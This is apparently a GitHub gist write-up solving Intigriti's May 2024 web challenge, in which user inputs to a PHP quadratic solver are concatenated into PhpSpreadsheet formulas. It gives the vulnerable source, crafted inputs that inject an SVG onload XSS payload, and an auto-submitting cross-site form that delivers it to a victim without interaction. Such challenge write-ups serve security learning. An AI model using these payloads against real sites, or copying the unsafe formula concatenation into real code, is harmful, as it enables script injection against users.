Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Created May 8, 2024 18:39
Show Gist options
  • Save Siss3l/f137c3fc00c7db5b90099cb1a253784a to your computer and use it in GitHub Desktop.
Save Siss3l/f137c3fc00c7db5b90099cb1a253784a to your computer and use it in GitHub Desktop.
Intigriti's May 2024 Web Challenge thanks to @stealthcopter

Intigriti May Challenge

  • Category: Web
  • Impact: Medium
  • Solves: 20

Challenge

Description

Find a way to execute alert(document.domain) on the challenge page.

The solution:

  • Should execute alert(document.domain) without user interaction;
  • Should not use another challenge on the intigriti.io domain.

Overview

We have a web challenge where we can calculate simple quadratic equations:

<?php
error_reporting(E_ALL);
if (isset($_GET["source"])) { highlight_file(__FILE__); die(); }
require "../vendor/autoload.php"; // No CSP
use PhpOffice\PhpSpreadsheet\Calculation\Calculation;
?>
<html>
  <head>
    <link href="resources/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN">
    <script src="resources/js/bootstrap.bundle.min.js" integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"></script>
    <style>body { background-color: #68adf1; }</style>
  </head>
  <body>
    <div class="container">
      <div class="row justify-content-md-center">
        <div class="col-md-6">
          <div class="card bg-light mb-3 mt-3" style="border-radius: 15px;">
            <div class="card-body">
              <h5 class="card-title">Quadratic Equation Solver</h5>
              <p>Enter the coefficients for the Ax<sup>2</sup> + Bx + C = 0</p>
              <?php if (isset($error)) { echo "<div class='alert alert-danger' role='alert'>$error</div>"; }?>
              <form method="POST">
                <div class="input-group mb-3">
                  <span class="input-group-text" id="labelA">A</span>
                  <input type="text" class="form-control" name="A" aria-describedby="labelA" aria-label="A" value="<?php echo (isset($_POST['A'])) ? htmlentities($_POST['A']) : ''; ?>">
                </div>
                <div class="input-group mb-3">
                  <span class="input-group-text" id="labelB">B</span>
                  <input type="text" class="form-control" name="B" aria-describedby="labelB" aria-label="B" value="<?php echo (isset($_POST['B'])) ? htmlentities($_POST['B']) : ''; ?>">
                </div>
                <div class="input-group mb-3">
                  <span class="input-group-text" id="labelC">C</span>
                  <input type="text" class="form-control" name="C" aria-describedby="labelC" aria-label="C" value="<?php echo (isset($_POST['C'])) ? htmlentities($_POST['C']) : ''; ?>">
                </div>
                <div class="d-flex justify-content-between">
                  <a class="btn btn-light" href="/challenge.php?source=challenge.php" role="button">View Source</a>
                  <button name="submit" type="submit" class="btn btn-primary">Calculate</button>
                </div>
                <?php
                if (isset($_POST["submit"])) {
                  if (empty($_POST['A']) || empty($_POST['B']) || empty($_POST['C'])) {
                    echo "<div class='alert alert-danger mt-3' role='alert'>Error: Missing vars...</div>";
                  }
                  elseif ($_POST['A'] == 0) { echo "<div class='alert alert-danger mt-3' role='alert'>Error: The equation is not quadratic</div>"; } 
                  else { // Calculate and Display the results
                    echo "<div class='alert alert-info mt-3' role='alert'>";
                    echo '<b>Roots:</b><br>';
                    $discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';
                    $discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);
                    $r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';
                    $r2Formula = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))';
                    echo Calculation::getInstance()->calculateFormula($r1Formula);
                    echo Calculation::getInstance()->calculateFormula($r2Formula);
                    echo "</div>";
                  }}?></div>
              </form>
            </div>
          </div>
        </div>
      </div>
    </div>
  </body>
</html>

Our local php.ini configuration file:

extension_dir=""
extension=curl
extension=php_openssl
extension=php_fileinfo
extension=gd
extension=mbstring
extension=zip

The local installation of PhpSpreadsheet code:

php -r "copy('http://getcomposer.org/installer','composer-setup.php');"
php composer-setup.php
php composer.phar require phpoffice/phpspreadsheet
php -S localhost:3000

Resolution

Since we are dealing with a classic case, we will focus on the code injection part and calculateFormula method:

/**
  * Calculate the value of a formula.
  * https://github.com/PHPOffice/PhpSpreadsheet/blob/master/src/PhpSpreadsheet/Calculation/Calculation.php#L3560
  * @param string $formula Formula to parse
  * @param ?string $cellID Address of the cell to calculate
  * @param ?Cell $cell Cell to calculate
  */
public function calculateFormula(string $formula, ?string $cellID = null, ?Cell $cell = null): mixed {
    $this->formulaError = null; // Initialise the logging settings
    $this->debugLog->clearLog();
    $this->cyclicReferenceStack->clear();
    $resetCache = $this->getCalculationCacheEnabled();
    if ($this->spreadsheet !== null && $cellID === null && $cell === null) {
        $cellID = "A1"; $cell = $this->spreadsheet->getActiveSheet()->getCell($cellID);
    } else {
        $this->calculationCacheEnabled = false;
    }
    try {
        $result = self::unwrapResult($this->_calculateFormulaValue($formula, $cellID, $cell)); // Parse a cell formula and calculate its value
    } catch (\Exception $e) {
        throw new Exception($e->getMessage());
    }
    if ($this->spreadsheet === null) {
        $this->calculationCacheEnabled = $resetCache;
    }
    return $result;
}

It is quite intuitive to see that we need to modify our payload to display some HTML tags within the result.
The inputs A, B or C can be used to concatenate other objects with mostly valid data being inserted between them:

$_POST["A"] = '0)&"<svg/onload=alert(location.host)>")'; $_POST["B"] = 'n(0)';
$_POST["C"] = '0)&")),1)&""<svg/onload=alert(document.domain)>""&text(((0"';
$discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';
// =POWER(n(0),2) - (4 * 0) & "<svg/onload=alert(location.host)>") * 0) & ")),1) & ""<svg/onload=alert(document.domain)>"" & text(((0")
$discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);
// #VALUE!)),1) & "<svg/onload=alert(document.domain)>" & text(((0
$r1Formula    = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';
// =IMDIV(IMSUM(-n(0), IMSQRT(#VALUE!)), 1) & "<svg/onload=alert(document.domain)>" & text(((0)),2 * 0) & "<svg/onload=alert(location.host)>"))
$r2Formula    = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))';
// =IF(#VALUE!)),1) & "<svg/onload=alert(document.domain)>" & text(((0=0,"Only one root", IMDIV(IMSUB(-n(0), IMSQRT(#VALUE!)), 1) & "<svg/onload=alert(document.domain)>" & text(((0)), 2 * 0) & "<svg/onload=alert(location.host)>")))
echo Calculation::getInstance()->calculateFormula($r1Formula);
// #NUM!<svg/onload=alert(document.domain)>0<svg/onload=alert(location.host)>
echo Calculation::getInstance()->calculateFormula($r2Formula);
// #NUM!#NUM!

The only thing left to do is to create a <form> POST data of the challenge and redirect any victim to the XSS payload:

<body><script>
let [b, f] = [document.createElement("button"), document.createElement("form")]; // https://webhook.site
b.name   = "submit"; f.method = "post"; f.action = "https://challenge-0524.intigriti.io/challenge.php";
let data = {A:'0)&"<svg/onload=alert(location.host)>")',B:"n(0)",C:'0)&")),1)&""<svg/onload=alert(document.domain)>""&text(((0"'};
Object.keys(data).forEach(k=>{let i = document.createElement("input"); i.name = k; i.value = data[k]; f.appendChild(i);});
f.appendChild(b); document.body.appendChild(f); f.submit.click();
</script></body>

XSS

Appendix

Until next time!

Bye

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment